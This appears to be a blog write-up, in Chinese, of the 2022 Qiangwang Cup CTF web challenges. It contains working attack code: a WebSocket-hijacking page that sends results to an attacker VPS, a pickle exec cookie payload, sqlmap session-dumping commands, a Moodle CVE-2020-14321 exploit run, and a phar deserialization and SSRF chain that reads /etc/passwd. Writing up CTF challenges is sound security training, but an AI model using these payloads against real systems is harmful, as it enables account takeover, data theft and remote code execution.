• 强网杯2022——WEB


    强网先锋

    rcefile

    www.zip下载源码,可见黑名单过滤。

    image-20220731172435887

    开启了spl_autoload_register 没有做限制的话 ,在反序列化实例化一个test类的时候,spl_autoload_register会自动去当前目录下包含文件名为test.php 或者是test.inc

    image-20220731172543215

    上传一个inc,再生成反序列化数据,最后去config.inc.php包含,执行木马

    image-20220730103945198

    image-20220730103954154

    image-20220730103925293

    WEB

    babyweb

    ws协议通讯,且未对请求的Origin头字段进行校验可以打类似CSRF的CSWSH(Cross-site WebSocket Hijacking)

    拿题目上的ws js改一下丢到自己vps上 让admin bot去check一下,建立连接并发送修改密码的请求,我这里写的改完之后回弹执行结果,vps上监听两个端口就行。

    DOCTYPE html>
     <meta charset="utf-8" />
     <title>WebSocket Testtitle>
     <script language="javascript" type="text/javascript">
    var ws = null;
            var url = "ws://127.0.0.1:8888/bot";
            function init()
            {
            sendtobot();
            }
            function sendtobot() {
                if (ws) {
                    var msg = "changepw 123456";
                    ws.send(msg);
                }
                else{
                    ws = new WebSocket(url);
                    ws.onopen = function (event) {
                        console.log('connection open!')
                        var msg = "changepw 123456";
                        ws.send(msg);
                    }
                    ws.onmessage = function (ev) {
                        botsay(ev.data);
                    };
                    ws.onerror = function () {
                        console.log("connection error");
                    };
                    ws.onclose = function () {
                        console.log("connection close!");
                    };
                    
                }
            }
            function botsay(content) {
                document.location='http://vps:7777?c=bot: ' + content;
            }
            function closeWebSocket() {
                if(ws){
                    ws.close();
                    ws = null;
                }
            }
    
     window.addEventListener("load", init, false);
     script>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46

    image-20220730210101756

    image-20220730205919063

    image-20220730210127830

    然后去登录admin账号即可,购买提示,获得后端源码下载地址。

    image-20220730194406040

    可以通过减去负数的cost使得money增加

    image-20220731212447748

    但python后端写死了合理的num

    image-20220731212618490

    利用前后端的JSON Parsers 差异安全问题绕过:

    • python标准库中的JSON解析器,针对重复键,将返回最后一个键值对。

    • Golang服务,使用了高性能的第三方JSON解析器(buger/jsonparser),针对重复键,它会返回第一个键值对。

    提交一个负数的值就能加钱了,直接购买flag即可。

    image-20220730210015088

    crash

    OBJ(GLOBAL('builtins', 'exec'), '''c="import admin;admin.s"+"ecret='1'";exec(c)''') 
    return
    
    • 1
    • 2

    使用pker生成cookie

    image-20220731212823282

    带着恶意cookie去访问/balancer修改admin的密码,然后正常登录。

    提交权重均为0,地址任意合法即可,多等一会等待模拟结果返回就是flag。

    image-20220731213645221

    easylogin

    https://zhuanlan.zhihu.com/p/471299626

    https://cn-sec.com/archives/1206142.html

    image-20220731222636592

    sqlmap去跑数据

    python sqlmap.py -r 2.txt --flush-session --random-agent -D moodle -T mdl_sessions --technique E --columns --batch
    
    • 1

    image-20220731232042377

    image-20220731234906944

    image-20220801000433673

    user密码是加密得,根据https://severalnines.com/blog/using-redis-offload-galera-cluster-session-management-data-moodle/得知登录session会放入数据库mdl_sessions表

    image-20220801111231949

    image-20220801001612638

    python sqlmap.py -r 2.txt --flush-session --random-agent -D moodle -T mdl_sessions -C id,sid,userid,sessdata --technique E --batch --dump
    
    • 1

    image-20220801111109511

    然后登录页面替换cookie值,进入管理员页面。(实际时要用userid为2的sid,写wp的时候环境有问题了)

    https://github.com/HoangKien1020/CVE-2020-14321 用这个exp

    运行脚本执行命令 或者手动上传zip执行命令

    python3 cve202014321.py -url http://47.105.52.19:8888 -cookie=rpu74vh353tiflel5ncdilqka7 -cmd=cat //etc/mytest/flaaaaaaaggggggggggggggggggggg
    
    • 1

    easyweb

    利用伪协议读源码,使用demo或者guest加在不影响的位置绕过检测

    /showfile.php?f=php://filter/read=convert.base64-encode/demo/resource=upload.php

    image-20220801235933756

    利用SESSION_UPLOAD_PROGRESS上传文件

    import requests
    import io
    
    url = "http://47.104.95.124:8080/upload.php"
    f = io.BytesIO(b"t" * 1024 * 50)
    r = requests.post(url=url, data={"PHP_SESSION_UPLOAD_PROGRESS": "2333"}, files={"file": open("fixd_phar.jpg","rb")}, cookies={"PHPSESSID": "2333"})
    path = r.text.split(" ")[-2].split("/")[-2]
    
    r = requests.get(f"http://47.104.95.124:8080/showfile.php?f=phar:///var/www/html/{path}/fixd_phar.jpg/demo.txt",timeout=1)
    print(r.text)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    phar文件生成脚本如下:

    AdminShow#__wakeup -> GuestShow#__toString -> AdminShow#__get -> AdminShow#show

    
    
        class GuestShow{
        public $file;
        public $contents;
        public function __construct($file)
        {
    
            $this->file=$file;
        }
        function __toString(){
            $str = $this->file->name;
            return "";
        }
        function __get($value){
            return $this->$value;
        }
        function show()
        {
            $this->contents = file_get_contents($this->file);
            $src = "data:jpg;base64,".base64_encode($this->contents);
            echo "{$src} />";
        }
        function __destruct(){
            echo $this;
        }
    }
    
    
    class AdminShow{
        public $source;
        public $str;
        public $filter;
        public function __construct($file)
        {
            $this->source = $file;
            $this->schema = '';
        }
        public function __toString()
        {
            $content = $this->str[0]->source;
            $content = $this->str[1]->schema;
            return $content;
        }
        public function __get($value){
            $this->show();
            return $this->$value;
        }
        public function __set($key,$value){
            $this->$key = $value;
        }
        public function show(){
            if(preg_match('/usr|auto|log/i' , $this->source))
            {
                die("error");
            }
    
            $url = $this->schema . $this->source;
            echo $url;
            $curl = curl_init();
            curl_setopt($curl, CURLOPT_URL, $url);
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($curl, CURLOPT_HEADER, 1);
            $response = curl_exec($curl);
            curl_close($curl);
            $src = "data:jpg;base64,".base64_encode($response);
            echo "{$src} />";
    
        }
        public function __wakeup()
        {
            echo "wakeup";
            if ($this->schema !== 'file:///var/www/html/') {
                $this->schema = 'file:///var/www/html/';
            }
            if ($this->source !== 'admin.png') {
                $this->source = 'admin.png';
            }
        }
    }
    
    $a = new AdminShow('a');
    $b = new GuestShow('a');
    $c = new AdminShow('file:///etc/passwd');
    $b->file = $c;
    $a->schema = $b;
    echo serialize($a);
    
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a".""); //设置stub
    $phar->setMetadata($a); //将自定义的meta-data存入manifest
    $phar->addFromString("demo.txt", "test"); //添加要压缩的文件,随便新建一个文件内容随意
    $phar->stopBuffering();
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95

    或者直接用GuestShow#__destruct方法就能直接触发自己的toString。

    image-20220802000519017

    $a = new GuestShow("a");
    $b = new AdminShow("file:///etc/passwd");
    $a->file=$b;
    
    • 1
    • 2
    • 3

    wakeup的绕过可以用属性个数大于实际的方法,将属性个数加1变成5,或者把schema属性删掉。

    image-20220802001206934

    改完的文件还需要修复一下phar的校验头

    # -*- coding: utf-8 -*-
    from hashlib import sha1
    f = open('phar.jpg', 'rb').read() # 修改内容后的phar文件
    s = f[:-28] # 获取要签名的数据
    h = f[-8:] # 获取签名类型以及GBMB标识
    newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
    open('fixd_phar.jpg', 'wb').write(newf) # 写入新文件
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    其实不用这么麻烦去调用,因为AdminShow类中未public schema属性,反序列化时可以直接进入__get进行任意覆盖同时绕过wakeup

    image-20220802003124011

    image-20220802003215974

    <?php
    
    class AdminShow
    {
        public $source;
        public $str;
        public $filter;
    
        public function __construct($file)
        {
            $this->source = $file;
        }
    }
    $a = new AdminShow("file:///etc/passwd");
    echo serialize($a);
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a".""); //设置stub
    $phar->setMetadata($a); //将自定义的meta-data存入manifest
    $phar->addFromString("demo.txt", "test"); //添加要压缩的文件,随便新建一个文件内容随意
    $phar->stopBuffering();
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    然后用上面的脚本上传,利用AdminShow#show的curl扫内网,目标机器在10段,然后file协议读flag。

  • 相关阅读:
    Qt学习27 应用程序中的主窗口
    农产品果蔬商城交易系统(Java+Web+MySQL)
    RPA如何应用于在直播电商,有哪些应用场景?
    制作web3d动态产品展示的优点
    paddle 41 在paddledetection添加RotateScaleCopyPaste数据增强方法
    【数据结构】| 并查集及其优化实现
    如何搭建安全的 CI/CD 管道?
    安防视频监控平台EasyCVR出现“no space left on device磁盘空间不足”是什么原因?该如何解决?
    Java版工程行业管理系统源码-专业的工程管理软件- 工程项目各模块及其功能点清单
    分布式文件系统FastDFS实战
  • 原文地址:https://blog.csdn.net/weixin_43610673/article/details/126112945